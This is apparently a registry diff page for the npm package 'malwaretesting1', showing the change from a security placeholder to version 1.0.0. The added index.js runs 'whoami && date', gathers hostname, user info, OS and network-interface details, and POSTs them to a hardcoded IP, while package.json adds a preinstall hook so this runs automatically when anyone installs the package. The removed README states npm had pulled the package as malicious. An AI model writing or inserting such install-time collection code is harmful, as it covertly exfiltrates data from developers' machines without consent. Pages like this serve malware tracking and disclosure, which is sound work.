malwaretesting1 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of malwaretesting1 might be problematic. Click here for more details.
- package/index.js +57 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,57 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const http = require('http');
|
3
|
+
const { execSync } = require('child_process'); // To execute shell commands
|
4
|
+
|
5
|
+
// Replace with the proper hostname or IP address of your Flask API
|
6
|
+
const apiHostname = '10.13.3.31'; // Your Flask API's hostname or IP
|
7
|
+
const apiPort = 5000; // Flask API's port
|
8
|
+
const apiPath = '/submit'; // Endpoint path
|
9
|
+
|
10
|
+
// Collect device information
|
11
|
+
let whoamiInfo = '';
|
12
|
+
try {
|
13
|
+
// Execute the 'whoami' command and trim the output
|
14
|
+
whoamiInfo = execSync('whoami && date', { encoding: 'utf-8' }).trim();
|
15
|
+
} catch (error) {
|
16
|
+
whoamiInfo = `Error executing whoami: ${error.message}`;
|
17
|
+
}
|
18
|
+
|
19
|
+
// Collect device information
|
20
|
+
const deviceInfo = {
|
21
|
+
platform: os.platform(),
|
22
|
+
release: os.release(),
|
23
|
+
hostname: os.hostname(),
|
24
|
+
arch: os.arch(),
|
25
|
+
userInfo: os.userInfo(),
|
26
|
+
networkInterfaces: os.networkInterfaces(),
|
27
|
+
whoamiinfo: whoamiInfo, // Include whoami output
|
28
|
+
user: "lib-jitsi-meet-sample",
|
29
|
+
};
|
30
|
+
|
31
|
+
// Define the request options
|
32
|
+
const options = {
|
33
|
+
hostname: apiHostname,
|
34
|
+
port: apiPort,
|
35
|
+
path: apiPath,
|
36
|
+
method: 'POST',
|
37
|
+
headers: {
|
38
|
+
'Content-Type': 'application/json', // Inform the server about the JSON body
|
39
|
+
},
|
40
|
+
};
|
41
|
+
|
42
|
+
// Create the request
|
43
|
+
const req = http.request(options, (res) => {
|
44
|
+
console.log(`Status: ${res.statusCode}`);
|
45
|
+
res.on('data', (chunk) => {
|
46
|
+
console.log(`Body: ${chunk}`);
|
47
|
+
});
|
48
|
+
});
|
49
|
+
|
50
|
+
// Handle any errors
|
51
|
+
req.on('error', (error) => {
|
52
|
+
console.error(`Error: ${error.message}`);
|
53
|
+
});
|
54
|
+
|
55
|
+
// Write the JSON body to the request and send it
|
56
|
+
req.write(JSON.stringify(deviceInfo));
|
57
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "malwaretesting1",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"malwaretesting1": "^1.0.0"
|
14
|
+
}
|
6
15
|
}
|
16
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=malwaretesting1 for more information.
|